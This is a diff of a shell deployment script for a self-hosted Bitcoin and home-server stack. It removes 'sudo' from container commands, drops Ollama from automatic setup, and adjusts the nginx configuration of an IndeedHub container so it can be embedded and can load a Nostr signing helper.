if ! \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -qE 'mysql-mempool|archy-mempool-db'; then
|
||||
echo ' Creating mysql-mempool...'
|
||||
sudo mkdir -p /var/lib/archipelago/mysql-mempool
|
||||
sudo \$DOCKER run -d --name archy-mempool-db --restart unless-stopped \$NET_OPT \
|
||||
\$DOCKER run -d --name archy-mempool-db --restart unless-stopped \$NET_OPT \
|
||||
-v /var/lib/archipelago/mysql-mempool:/var/lib/mysql \
|
||||
-e MYSQL_DATABASE=mempool \
|
||||
-e MYSQL_USER=mempool \
|
||||
@@ -880,25 +904,25 @@ MANIFEST_EOF
|
||||
docker.io/mariadb:10.11
|
||||
sleep 3
|
||||
fi
|
||||
MYSQL_CNT=\$(sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -E 'mysql-mempool|archy-mempool-db' | head -1)
|
||||
MYSQL_CNT=\$(\$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -E 'mysql-mempool|archy-mempool-db' | head -1)
|
||||
MYSQL_CNT=\${MYSQL_CNT:-archy-mempool-db}
|
||||
# Ensure DB is on archy-net so mempool-api can resolve it
|
||||
sudo \$DOCKER network connect archy-net \$MYSQL_CNT 2>/dev/null || true
|
||||
\$DOCKER network connect archy-net \$MYSQL_CNT 2>/dev/null || true
|
||||
# Stop and remove old mempool-electrs if present (replaced by electrumx)
|
||||
if sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -q mempool-electrs; then
|
||||
if \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -q mempool-electrs; then
|
||||
echo ' Removing old mempool-electrs (replaced by ElectrumX)...'
|
||||
sudo \$DOCKER stop mempool-electrs 2>/dev/null
|
||||
sudo \$DOCKER rm -f mempool-electrs 2>/dev/null
|
||||
\$DOCKER stop mempool-electrs 2>/dev/null
|
||||
\$DOCKER rm -f mempool-electrs 2>/dev/null
|
||||
fi
|
||||
# Create electrumx ONLY if missing - do NOT recreate (indexing takes days)
|
||||
if ! sudo \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q electrumx; then
|
||||
if sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -q electrumx; then
|
||||
if ! \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q electrumx; then
|
||||
if \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -q electrumx; then
|
||||
echo ' Starting existing electrumx (preserving index)...'
|
||||
sudo \$DOCKER start electrumx 2>/dev/null || true
|
||||
\$DOCKER start electrumx 2>/dev/null || true
|
||||
else
|
||||
echo ' Creating electrumx (indexer - may take days to sync, do not recreate)...'
|
||||
sudo mkdir -p /var/lib/archipelago/electrumx
|
||||
sudo \$DOCKER run -d --name electrumx --restart unless-stopped \$NET_OPT \
|
||||
\$DOCKER run -d --name electrumx --restart unless-stopped \$NET_OPT \
|
||||
-p 50001:50001 \
|
||||
-v /var/lib/archipelago/electrumx:/data \
|
||||
-e DAEMON_URL=http://$BITCOIN_RPC_USER:$BITCOIN_RPC_PASS@bitcoin-knots:8332/ \
|
||||
@@ -909,15 +933,15 @@ MANIFEST_EOF
|
||||
fi
|
||||
fi
|
||||
# Create/recreate mempool-api (backend on 8999) - required for mempool to work
|
||||
for c in \$(sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -E 'mempool-api|archy-mempool-api'); do
|
||||
for c in \$(\$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -E 'mempool-api|archy-mempool-api'); do
|
||||
echo ' Recreating mempool-api (backend)...'
|
||||
sudo \$DOCKER stop \"\$c\" 2>/dev/null
|
||||
sudo \$DOCKER rm -f \"\$c\" 2>/dev/null
|
||||
\$DOCKER stop \"\$c\" 2>/dev/null
|
||||
\$DOCKER rm -f \"\$c\" 2>/dev/null
|
||||
done
|
||||
if ! sudo \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q mempool-api; then
|
||||
if ! \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q mempool-api; then
|
||||
echo ' Creating mempool-api (backend)...'
|
||||
sudo mkdir -p /var/lib/archipelago/mempool
|
||||
sudo \$DOCKER run -d --name mempool-api --restart unless-stopped \$NET_OPT \
|
||||
\$DOCKER run -d --name mempool-api --restart unless-stopped \$NET_OPT \
|
||||
-p 8999:8999 \
|
||||
-v /var/lib/archipelago/mempool:/data \
|
||||
-e MEMPOOL_BACKEND=electrum \
|
||||
@@ -936,15 +960,15 @@ MANIFEST_EOF
|
||||
docker.io/mempool/backend:v2.5.0
|
||||
fi
|
||||
# Recreate mempool frontend - handle both 'mempool' and 'mempool-web' (frontend was on wrong port 8999)
|
||||
for c in \$(sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -E '^mempool\$|mempool-web|archy-mempool-web'); do
|
||||
for c in \$(\$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -E '^mempool\$|mempool-web|archy-mempool-web'); do
|
||||
echo ' Recreating mempool frontend on 4080...'
|
||||
sudo \$DOCKER stop \"\$c\" 2>/dev/null
|
||||
sudo \$DOCKER rm -f \"\$c\" 2>/dev/null
|
||||
\$DOCKER stop \"\$c\" 2>/dev/null
|
||||
\$DOCKER rm -f \"\$c\" 2>/dev/null
|
||||
break
|
||||
done
|
||||
if ! sudo \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q archy-mempool-web; then
|
||||
if ! \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q archy-mempool-web; then
|
||||
echo ' Creating mempool frontend on 4080...'
|
||||
sudo \$DOCKER run -d --name archy-mempool-web --restart unless-stopped \$NET_OPT \
|
||||
\$DOCKER run -d --name archy-mempool-web --restart unless-stopped \$NET_OPT \
|
||||
-p 4080:8080 \
|
||||
-e FRONTEND_HTTP_PORT=8080 \
|
||||
-e BACKEND_MAINNET_HTTP_HOST=mempool-api \
|
||||
@@ -959,15 +983,15 @@ MANIFEST_EOF
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
TARGET_IP='$TARGET_IP'
|
||||
sudo \$DOCKER network create archy-net 2>/dev/null || true
|
||||
\$DOCKER network create archy-net 2>/dev/null || true
|
||||
NET_OPT='--network archy-net'
|
||||
# Ensure bitcoin-knots is on archy-net for NBXplorer/BTCPay to reach it
|
||||
sudo \$DOCKER network connect archy-net bitcoin-knots 2>/dev/null || true
|
||||
\$DOCKER network connect archy-net bitcoin-knots 2>/dev/null || true
|
||||
# Create PostgreSQL for BTCPay if missing
|
||||
if ! sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -qE 'archy-btcpay-db|postgres-btcpay'; then
|
||||
if ! \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -qE 'archy-btcpay-db|postgres-btcpay'; then
|
||||
echo ' Creating archy-btcpay-db (PostgreSQL)...'
|
||||
sudo mkdir -p /var/lib/archipelago/postgres-btcpay
|
||||
sudo \$DOCKER run -d --name archy-btcpay-db --restart unless-stopped \$NET_OPT \
|
||||
\$DOCKER run -d --name archy-btcpay-db --restart unless-stopped \$NET_OPT \
|
||||
-v /var/lib/archipelago/postgres-btcpay:/var/lib/postgresql/data \
|
||||
-e POSTGRES_DB=btcpay \
|
||||
-e POSTGRES_USER=btcpay \
|
||||
@@ -976,16 +1000,16 @@ MANIFEST_EOF
|
||||
sleep 3
|
||||
fi
|
||||
# Create NBXplorer database in PostgreSQL (NBXplorer needs its own DB)
|
||||
sudo \$DOCKER exec archy-btcpay-db psql -U postgres -tc \"SELECT 1 FROM pg_database WHERE datname='nbxplorer'\" 2>/dev/null | grep -q 1 || \
|
||||
sudo \$DOCKER exec -e PGPASSWORD=$BTCPAY_DB_PASS archy-btcpay-db psql -U postgres -c \"CREATE DATABASE nbxplorer;\" 2>/dev/null || true
|
||||
\$DOCKER exec archy-btcpay-db psql -U postgres -tc \"SELECT 1 FROM pg_database WHERE datname='nbxplorer'\" 2>/dev/null | grep -q 1 || \
|
||||
\$DOCKER exec -e PGPASSWORD=$BTCPAY_DB_PASS archy-btcpay-db psql -U postgres -c \"CREATE DATABASE nbxplorer;\" 2>/dev/null || true
|
||||
# Create NBXplorer (required by BTCPay - indexes blocks for payment tracking)
|
||||
if ! sudo \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q archy-nbxplorer; then
|
||||
if sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -q archy-nbxplorer; then
|
||||
sudo \$DOCKER start archy-nbxplorer 2>/dev/null || true
|
||||
if ! \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q archy-nbxplorer; then
|
||||
if \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -q archy-nbxplorer; then
|
||||
\$DOCKER start archy-nbxplorer 2>/dev/null || true
|
||||
else
|
||||
echo ' Creating archy-nbxplorer...'
|
||||
sudo mkdir -p /var/lib/archipelago/nbxplorer
|
||||
sudo \$DOCKER run -d --name archy-nbxplorer --restart unless-stopped \$NET_OPT \
|
||||
\$DOCKER run -d --name archy-nbxplorer --restart unless-stopped \$NET_OPT \
|
||||
-p 32838:32838 \
|
||||
-v /var/lib/archipelago/nbxplorer:/data \
|
||||
-e NBXPLORER_DATADIR=/data \
|
||||
@@ -1002,16 +1026,16 @@ MANIFEST_EOF
|
||||
fi
|
||||
# Recreate btcpay-server with PostgreSQL, NBXplorer URL, and Bitcoin RPC
|
||||
for c in btcpay-server archy-btcpay; do
|
||||
if sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -qx \"\$c\"; then
|
||||
if \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -qx \"\$c\"; then
|
||||
echo ' Recreating btcpay-server with NBXplorer...'
|
||||
sudo \$DOCKER stop \"\$c\" 2>/dev/null
|
||||
sudo \$DOCKER rm -f \"\$c\" 2>/dev/null
|
||||
\$DOCKER stop \"\$c\" 2>/dev/null
|
||||
\$DOCKER rm -f \"\$c\" 2>/dev/null
|
||||
fi
|
||||
done
|
||||
if ! sudo \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q btcpay-server; then
|
||||
if ! \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q btcpay-server; then
|
||||
echo ' Creating btcpay-server on 23000...'
|
||||
sudo mkdir -p /var/lib/archipelago/btcpay
|
||||
sudo \$DOCKER run -d --name btcpay-server --restart unless-stopped \$NET_OPT \
|
||||
\$DOCKER run -d --name btcpay-server --restart unless-stopped \$NET_OPT \
|
||||
--cap-drop ALL --cap-add CHOWN --cap-add SETUID --cap-add SETGID --cap-add DAC_OVERRIDE \
|
||||
--security-opt no-new-privileges:true \
|
||||
-p 23000:49392 \
|
||||
@@ -1035,30 +1059,30 @@ MANIFEST_EOF
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
# Remove old single-container 'immich' if present (wrong port mapping, conflicts with immich_server)
|
||||
if sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -qx immich; then
|
||||
if \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -qx immich; then
|
||||
echo ' Removing old immich container (use immich_server)...'
|
||||
sudo \$DOCKER stop immich 2>/dev/null
|
||||
sudo \$DOCKER rm -f immich 2>/dev/null
|
||||
sudo \$DOCKER start immich_server 2>/dev/null || true
|
||||
\$DOCKER stop immich 2>/dev/null
|
||||
\$DOCKER rm -f immich 2>/dev/null
|
||||
\$DOCKER start immich_server 2>/dev/null || true
|
||||
fi
|
||||
if ! sudo \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q immich_server; then
|
||||
if ! \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q immich_server; then
|
||||
echo ' Creating Immich stack...'
|
||||
sudo mkdir -p /var/lib/archipelago/immich /var/lib/archipelago/immich-db
|
||||
sudo \$DOCKER network create immich-net 2>/dev/null || true
|
||||
if ! sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -q immich_postgres; then
|
||||
sudo \$DOCKER run -d --name immich_postgres --restart unless-stopped --network immich-net \
|
||||
\$DOCKER network create immich-net 2>/dev/null || true
|
||||
if ! \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -q immich_postgres; then
|
||||
\$DOCKER run -d --name immich_postgres --restart unless-stopped --network immich-net \
|
||||
-v /var/lib/archipelago/immich-db:/var/lib/postgresql/data \
|
||||
-e POSTGRES_PASSWORD=$IMMICH_DB_PASS -e POSTGRES_USER=postgres -e POSTGRES_DB=immich \
|
||||
ghcr.io/immich-app/postgres:14-vectorchord0.4.3-pgvectors0.2.0 2>/dev/null || true
|
||||
sleep 5
|
||||
fi
|
||||
if ! sudo \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q immich_redis; then
|
||||
sudo \$DOCKER run -d --name immich_redis --restart unless-stopped --network immich-net \
|
||||
if ! \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q immich_redis; then
|
||||
\$DOCKER run -d --name immich_redis --restart unless-stopped --network immich-net \
|
||||
docker.io/valkey/valkey:7-alpine 2>/dev/null || true
|
||||
sleep 2
|
||||
fi
|
||||
if ! sudo \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q immich_server; then
|
||||
sudo \$DOCKER run -d --name immich_server --restart unless-stopped --network immich-net \
|
||||
if ! \$DOCKER ps --format '{{.Names}}' 2>/dev/null | grep -q immich_server; then
|
||||
\$DOCKER run -d --name immich_server --restart unless-stopped --network immich-net \
|
||||
-p 2283:2283 -v /var/lib/archipelago/immich:/usr/src/app/upload \
|
||||
-e DB_HOSTNAME=immich_postgres -e DB_USERNAME=postgres -e DB_PASSWORD=$IMMICH_DB_PASS \
|
||||
-e DB_DATABASE_NAME=immich -e REDIS_HOSTNAME=immich_redis \
|
||||
@@ -1125,9 +1149,9 @@ print("torrc generated with %d services" % (len(lines) // 3))
|
||||
'
|
||||
|
||||
# Remove any old Tor container (system Tor is preferred)
|
||||
for c in \$(sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -E 'archy-tor|^tor\$'); do
|
||||
sudo \$DOCKER stop \"\$c\" 2>/dev/null
|
||||
sudo \$DOCKER rm -f \"\$c\" 2>/dev/null
|
||||
for c in \$(\$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -E 'archy-tor|^tor\$'); do
|
||||
\$DOCKER stop \"\$c\" 2>/dev/null
|
||||
\$DOCKER rm -f \"\$c\" 2>/dev/null
|
||||
done
|
||||
|
||||
# Use system Tor (preferred — no AppArmor issues with default paths)
|
||||
@@ -1174,11 +1198,11 @@ print("torrc generated with %d services" % (len(lines) // 3))
|
||||
($TIMEOUT_CMD ssh $SSH_OPTS "$TARGET_HOST" "
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
for c in \$(sudo \$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -E '^fedimint\$'); do
|
||||
for c in \$(\$DOCKER ps -a --format '{{.Names}}' 2>/dev/null | grep -E '^fedimint\$'); do
|
||||
echo ' Recreating fedimint with FM_API_URL...'
|
||||
sudo \$DOCKER stop \"\$c\" 2>/dev/null
|
||||
sudo \$DOCKER rm -f \"\$c\" 2>/dev/null
|
||||
sudo \$DOCKER run -d --name fedimint --restart unless-stopped \
|
||||
\$DOCKER stop \"\$c\" 2>/dev/null
|
||||
\$DOCKER rm -f \"\$c\" 2>/dev/null
|
||||
\$DOCKER run -d --name fedimint --restart unless-stopped \
|
||||
--cap-drop ALL --cap-add CHOWN --cap-add FOWNER --cap-add SETUID --cap-add SETGID --cap-add DAC_OVERRIDE \
|
||||
--security-opt no-new-privileges:true \
|
||||
-p 8173:8173 -p 8174:8174 -p 8175:8175 \
|
||||
@@ -1199,15 +1223,15 @@ print("torrc generated with %d services" % (len(lines) // 3))
|
||||
|
||||
# Ensure Fedimint Gateway companion container
|
||||
# Auto-detect LND: if running with credentials, use lnd mode; otherwise use ldk (built-in)
|
||||
sudo \$DOCKER rm -f fedimint-gateway 2>/dev/null || true
|
||||
\$DOCKER rm -f fedimint-gateway 2>/dev/null || true
|
||||
echo ' Creating fedimint-gateway...'
|
||||
sudo mkdir -p /var/lib/archipelago/fedimint-gateway
|
||||
LND_CERT=/var/lib/archipelago/lnd/tls.cert
|
||||
LND_MACAROON=/var/lib/archipelago/lnd/data/chain/bitcoin/mainnet/admin.macaroon
|
||||
GW_COMMON=\"-p 8176:8176 -v /var/lib/archipelago/fedimint-gateway:/data docker.io/fedimint/gatewayd:v0.10.0 gatewayd --data-dir /data --listen 0.0.0.0:8176 --bcrypt-password-hash '$FEDI_HASH' --network bitcoin --bitcoind-url http://$TARGET_IP:8332 --bitcoind-username $BITCOIN_RPC_USER --bitcoind-password $BITCOIN_RPC_PASS\"
|
||||
if sudo \$DOCKER ps --format '{{.Names}}' | grep -q '^lnd\$' && sudo test -f \$LND_CERT && sudo test -f \$LND_MACAROON; then
|
||||
if \$DOCKER ps --format '{{.Names}}' | grep -q '^lnd\$' && sudo test -f \$LND_CERT && sudo test -f \$LND_MACAROON; then
|
||||
echo ' LND detected — using lnd mode'
|
||||
sudo \$DOCKER run -d --name fedimint-gateway --restart unless-stopped \
|
||||
\$DOCKER run -d --name fedimint-gateway --restart unless-stopped \
|
||||
--cap-drop ALL --cap-add CHOWN --cap-add FOWNER --cap-add SETUID --cap-add SETGID --cap-add DAC_OVERRIDE \
|
||||
--security-opt no-new-privileges:true \
|
||||
-p 8176:8176 \
|
||||
@@ -1222,7 +1246,7 @@ print("torrc generated with %d services" % (len(lines) // 3))
|
||||
lnd --lnd-rpc-host $TARGET_IP:10009 --lnd-tls-cert /lnd/tls.cert --lnd-macaroon /lnd/admin.macaroon
|
||||
else
|
||||
echo ' No LND found — using ldk (built-in Lightning)'
|
||||
sudo \$DOCKER run -d --name fedimint-gateway --restart unless-stopped \
|
||||
\$DOCKER run -d --name fedimint-gateway --restart unless-stopped \
|
||||
--cap-drop ALL --cap-add CHOWN --cap-add FOWNER --cap-add SETUID --cap-add SETGID --cap-add DAC_OVERRIDE \
|
||||
--security-opt no-new-privileges:true \
|
||||
-p 8176:8176 -p 9737:9737 \
|
||||
@@ -1242,9 +1266,9 @@ print("torrc generated with %d services" % (len(lines) // 3))
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
if ! sudo $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx lnd; then
|
||||
if sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx lnd; then
|
||||
sudo $DOCKER start lnd 2>/dev/null || true
|
||||
if ! $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx lnd; then
|
||||
if $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx lnd; then
|
||||
$DOCKER start lnd 2>/dev/null || true
|
||||
echo " LND started (existing)"
|
||||
else
|
||||
echo " Creating LND..."
|
||||
@@ -1275,7 +1299,7 @@ autopilot.active=false
|
||||
LNDCONF
|
||||
sudo cp /tmp/lnd.conf /var/lib/archipelago/lnd/lnd.conf
|
||||
fi
|
||||
sudo $DOCKER run -d --name lnd --restart unless-stopped --network archy-net \
|
||||
$DOCKER run -d --name lnd --restart unless-stopped --network archy-net \
|
||||
--cap-drop ALL --cap-add CHOWN --cap-add FOWNER --cap-add SETUID --cap-add SETGID --cap-add DAC_OVERRIDE \
|
||||
--security-opt no-new-privileges:true \
|
||||
-p 9735:9735 -p 10009:10009 -p 8080:8080 \
|
||||
@@ -1293,13 +1317,13 @@ LNDCONF
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
if ! sudo $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx homeassistant; then
|
||||
if sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx homeassistant; then
|
||||
sudo $DOCKER start homeassistant 2>/dev/null || true
|
||||
if ! $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx homeassistant; then
|
||||
if $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx homeassistant; then
|
||||
$DOCKER start homeassistant 2>/dev/null || true
|
||||
else
|
||||
echo " Creating Home Assistant..."
|
||||
sudo mkdir -p /var/lib/archipelago/home-assistant
|
||||
sudo $DOCKER run -d --name homeassistant --restart unless-stopped \
|
||||
$DOCKER run -d --name homeassistant --restart unless-stopped \
|
||||
--cap-drop ALL --cap-add CHOWN --cap-add SETUID --cap-add SETGID --cap-add DAC_OVERRIDE \
|
||||
--security-opt no-new-privileges:true \
|
||||
-p 8123:8123 -v /var/lib/archipelago/home-assistant:/config \
|
||||
@@ -1316,14 +1340,14 @@ LNDCONF
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
if ! sudo $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx grafana; then
|
||||
if sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx grafana; then
|
||||
sudo $DOCKER start grafana 2>/dev/null || true
|
||||
if ! $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx grafana; then
|
||||
if $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx grafana; then
|
||||
$DOCKER start grafana 2>/dev/null || true
|
||||
else
|
||||
echo " Creating Grafana..."
|
||||
sudo mkdir -p /var/lib/archipelago/grafana
|
||||
sudo chown 472:472 /var/lib/archipelago/grafana 2>/dev/null || true
|
||||
sudo $DOCKER run -d --name grafana --restart unless-stopped \
|
||||
$DOCKER run -d --name grafana --restart unless-stopped \
|
||||
--cap-drop ALL --cap-add CHOWN --cap-add SETUID --cap-add SETGID \
|
||||
--security-opt no-new-privileges:true \
|
||||
-p 3000:3000 -v /var/lib/archipelago/grafana:/var/lib/grafana \
|
||||
@@ -1340,13 +1364,13 @@ LNDCONF
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
if ! sudo $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx jellyfin; then
|
||||
if sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx jellyfin; then
|
||||
sudo $DOCKER start jellyfin 2>/dev/null || true
|
||||
if ! $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx jellyfin; then
|
||||
if $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx jellyfin; then
|
||||
$DOCKER start jellyfin 2>/dev/null || true
|
||||
else
|
||||
echo " Creating Jellyfin..."
|
||||
sudo mkdir -p /var/lib/archipelago/jellyfin/config /var/lib/archipelago/jellyfin/cache
|
||||
sudo $DOCKER run -d --name jellyfin --restart unless-stopped \
|
||||
$DOCKER run -d --name jellyfin --restart unless-stopped \
|
||||
--cap-drop ALL --security-opt no-new-privileges:true \
|
||||
-p 8096:8096 \
|
||||
-v /var/lib/archipelago/jellyfin/config:/config \
|
||||
@@ -1363,13 +1387,13 @@ LNDCONF
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
if ! sudo $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx vaultwarden; then
|
||||
if sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx vaultwarden; then
|
||||
sudo $DOCKER start vaultwarden 2>/dev/null || true
|
||||
if ! $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx vaultwarden; then
|
||||
if $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx vaultwarden; then
|
||||
$DOCKER start vaultwarden 2>/dev/null || true
|
||||
else
|
||||
echo " Creating Vaultwarden..."
|
||||
sudo mkdir -p /var/lib/archipelago/vaultwarden
|
||||
sudo $DOCKER run -d --name vaultwarden --restart unless-stopped \
|
||||
$DOCKER run -d --name vaultwarden --restart unless-stopped \
|
||||
--cap-drop ALL --cap-add CHOWN --cap-add SETUID --cap-add SETGID --cap-add NET_BIND_SERVICE \
|
||||
--security-opt no-new-privileges:true \
|
||||
-p 8082:80 -v /var/lib/archipelago/vaultwarden:/data \
|
||||
@@ -1385,12 +1409,12 @@ LNDCONF
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
if ! sudo $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx searxng; then
|
||||
if sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx searxng; then
|
||||
sudo $DOCKER start searxng 2>/dev/null || true
|
||||
if ! $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx searxng; then
|
||||
if $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx searxng; then
|
||||
$DOCKER start searxng 2>/dev/null || true
|
||||
else
|
||||
echo " Creating SearXNG..."
|
||||
sudo $DOCKER run -d --name searxng --restart unless-stopped \
|
||||
$DOCKER run -d --name searxng --restart unless-stopped \
|
||||
--cap-drop ALL --security-opt no-new-privileges:true \
|
||||
-p 8888:8080 \
|
||||
docker.io/searxng/searxng:latest
|
||||
@@ -1400,26 +1424,8 @@ LNDCONF
|
||||
fi
|
||||
' 2>&1 | sed 's/^/ /' || true
|
||||
|
||||
# Ollama (local LLM inference — used by AIUI)
|
||||
progress "Ensuring Ollama"
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
if ! sudo $DOCKER ps --format "{{.Names}}" 2>/dev/null | grep -qx ollama; then
|
||||
if sudo $DOCKER ps -a --format "{{.Names}}" 2>/dev/null | grep -qx ollama; then
|
||||
sudo $DOCKER start ollama 2>/dev/null || true
|
||||
else
|
||||
echo " Creating Ollama..."
|
||||
sudo mkdir -p /var/lib/archipelago/ollama
|
||||
sudo $DOCKER run -d --name ollama --restart unless-stopped \
|
||||
--cap-drop ALL --security-opt no-new-privileges:true \
|
||||
-p 11434:11434 -v /var/lib/archipelago/ollama:/root/.ollama \
|
||||
docker.io/ollama/ollama:latest
|
||||
fi
|
||||
else
|
||||
echo " Ollama already running"
|
||||
fi
|
||||
' 2>&1 | sed 's/^/ /' || true
|
||||
# Ollama — optional, install from marketplace if needed
|
||||
# (removed from auto-deploy: large image, not needed for core functionality)
|
||||
|
||||
fi # end FRONTEND_ONLY guard
|
||||
|
||||
@@ -1437,31 +1443,31 @@ LNDCONF
|
||||
# resolve container IPs for nginx proxy (DNS resolver 127.0.0.11 is unreliable in podman)
|
||||
progress "Fixing IndeedHub for NIP-07"
|
||||
ssh $SSH_OPTS "$TARGET_HOST" '
|
||||
if sudo podman ps --format "{{.Names}}" 2>/dev/null | grep -q "^indeedhub$"; then
|
||||
if podman ps --format "{{.Names}}" 2>/dev/null | grep -q "^indeedhub$"; then
|
||||
CHANGED=false
|
||||
NETWORK=$(sudo podman inspect indeedhub --format "{{range \$k, \$v := .NetworkSettings.Networks}}{{\$k}}{{end}}" 2>/dev/null)
|
||||
NETWORK=$(podman inspect indeedhub --format "{{range \$k, \$v := .NetworkSettings.Networks}}{{\$k}}{{end}}" 2>/dev/null)
|
||||
|
||||
# Remove X-Frame-Options so iframe works
|
||||
if sudo podman exec indeedhub grep -q "X-Frame-Options" /etc/nginx/conf.d/default.conf 2>/dev/null; then
|
||||
sudo podman exec indeedhub sed -i "/X-Frame-Options/d" /etc/nginx/conf.d/default.conf
|
||||
if podman exec indeedhub grep -q "X-Frame-Options" /etc/nginx/conf.d/default.conf 2>/dev/null; then
|
||||
podman exec indeedhub sed -i "/X-Frame-Options/d" /etc/nginx/conf.d/default.conf
|
||||
CHANGED=true
|
||||
echo " Removed X-Frame-Options from IndeedHub"
|
||||
fi
|
||||
|
||||
# Inject nostr-provider.js for NIP-07 signing
|
||||
if ! sudo podman exec indeedhub test -f /usr/share/nginx/html/nostr-provider.js 2>/dev/null; then
|
||||
sudo podman cp /opt/archipelago/web-ui/nostr-provider.js indeedhub:/usr/share/nginx/html/nostr-provider.js 2>/dev/null
|
||||
if ! podman exec indeedhub test -f /usr/share/nginx/html/nostr-provider.js 2>/dev/null; then
|
||||
podman cp /opt/archipelago/web-ui/nostr-provider.js indeedhub:/usr/share/nginx/html/nostr-provider.js 2>/dev/null
|
||||
echo " Copied nostr-provider.js into IndeedHub"
|
||||
fi
|
||||
|
||||
# Add nostr-provider.js + sub_filter to nginx config
|
||||
if ! sudo podman exec indeedhub grep -q "nostr-provider" /etc/nginx/conf.d/default.conf 2>/dev/null; then
|
||||
sudo podman exec indeedhub cat /etc/nginx/conf.d/default.conf > /tmp/ih-nginx.conf 2>/dev/null
|
||||
if ! podman exec indeedhub grep -q "nostr-provider" /etc/nginx/conf.d/default.conf 2>/dev/null; then
|
||||
podman exec indeedhub cat /etc/nginx/conf.d/default.conf > /tmp/ih-nginx.conf 2>/dev/null
|
||||
# Add nostr-provider location block before sw.js block
|
||||
sed -i "/location = \/sw.js {/i\\ location = /nostr-provider.js {\n add_header Cache-Control \"no-cache, no-store, must-revalidate\";\n expires off;\n }\n" /tmp/ih-nginx.conf
|
||||
# Add sub_filter for nostr-provider injection
|
||||
